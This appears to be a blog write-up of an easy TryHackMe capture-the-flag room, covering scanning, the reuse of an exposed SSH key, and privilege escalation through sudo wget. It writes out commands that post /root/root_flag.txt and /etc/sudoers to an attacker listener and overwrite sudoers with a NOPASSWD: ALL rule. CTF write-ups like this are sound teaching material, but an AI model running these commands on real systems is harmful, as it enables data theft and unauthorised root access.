Welcome to yet another write-up of a TryHackMe CTF room. Today we will be going over one of the easier boxes that TryHackMe offers. Very easy yet I found the last section very interesting.
Let’s get into it!
As always, we will scan the target machine and see what ports are open.
nmap -p- --min-rate 5000 -oN allports IP
nmap -sCV -T4 -oN services -p 22,80 IP
- 22/SSH (OpenSSH 7.2p2 Ubuntu)
- 80/HTTP (Apache httpd 2.4.18)
Just a standard SSH/HTTP setup. Let’s start enumerating the website.
For directory brute-forcing, I have also started to use dirbuster.
The advantage of dirbuster compared to gobuster is that it recursively brute-forces directories whereas with gobuster, you’d have to type in the command again at least once to search in a directory besides the root website one. Of course, this can be a disadvantage for dirbuster since it will dump A LOT of information in one go. Fortunately that is not the case in this CTF.
A directory called
/sitemap/.ssh! That’s very suspicious. We’ll take a look at what’s in that directory in a bit. I want to check out the website quickly before that.
Just a regular Apache welcome page.
And the website didn’t have anything that grabbed my immediate interest.
However, the source code of the Apache welcome page did contain the username
Let’s check out that
It’s a private key! Let’s fix the formatting a bit. Copying and pasting into Sublime and using the regular expressions feature to remove whitespace works well enough. Just make sure to add the spaces that it removed and were actually part of the key.
Note: Toggle regular expressions by clicking the “.*” symbol on the left and adding whitespace characters with “\s+” and replace with nothing.
And copy and paste the formatted version of they key and redirect the output to a file. I’ve just named the file
Let’s change the permissions of the private key so that we can use it to SSH in.
chmod 600 id_rsa
Now we can SSH in.
And we’re in as Jessie!
Checking out their Documents folder reveals the user flag.
Let’s get to root!
Let’s see if Jessie can execute any commands as another user.
Wow! We can run
wget as root! Essentially, we can download files as well as post any file on this machine (we’ll see the latter one in action shortly.)
Since we can post (send the output of) any file on this machine to an endpoint of our choosing, we can view the root flag (since we know that it’s usually named
Let’s set up netcat to listen on port 4444 of our machine.
nc -lvnp 4444
And now we send the output of the root flag to our machine via port 4444.
sudo /usr/bin/wget --post-file=/root/root_flag.txt http://IP:PORT
Now when we take a look at netcat, we see the contents of
We have finished the room but we didn’t get root… But there is a way!
Root Shell (BONUS)
We can edit files with wget with the previous method. If we can see the output of any file, we can copy and paste that output and edit it locally. When we’re done, we can wget that new file with the target machine and essentially overwrite it.
So, which file do we want to edit? We have a lot of options but a simple one would be to edit the
/etc/sudoers file. The sudoers file shows who can execute sudo commands, which commands and as what user. We can give the Jessie user the ability to execute ANY command as root which would mean we can escalate to root easily.
Let’s set netcat up again and post the
/etc/sudoers file to our machine.
sudo /usr/bin/wget --post-file=/etc/sudoers http://IP:PORT
We have the output of the sudoers file! Let’s paste the contents into a file called
sudoers (we need to use the same name since we’re going to overwrite it.)
Let’s edit Jessie’s sudo access so that we can execute everything as root.
jessie ALL=(root) NOPASSWD: ALL
Let’s spin up a temporary web server on our machine so the target machine can wget our edited sudoers file.
Let’s go to /etc and wget the new sudoers file.
sudo /usr/bin/wget http://IP:PORT/sudoers --output-document=sudoers
--output-document=FILE flag is required otherwise it won’t overwrite the file, it will just make a separate file called
Let’s confirm that we have overwritten the sudoers file.
Success! Now it’s a simple matter of switching to root using sudo!
That’s satisfying now isn’t it? 🙂
This room was very simple but I especially enjoyed getting the root shell and going the extra mile.
These are a few takeaways for me:
- Dirbuster (
dirb http://IP/) recursively brute-forces directory names. Saves time at the cost of slightly lower readability.
- Sublime removing whitespace with
CTRL+H, toggling regular expressions button (
.*), find: \
s+, replace with: (leave blank).
- Sudo wget as root new flags learnt:
- –post-file=/file/to/read (Sends output of a file to somewhere)
- –output-document=file (What to call the file when wgetting it. Overwrites files with same name.)
I hope you found this post useful and maybe learnt a couple of things along the way! See you in the next post! 🙂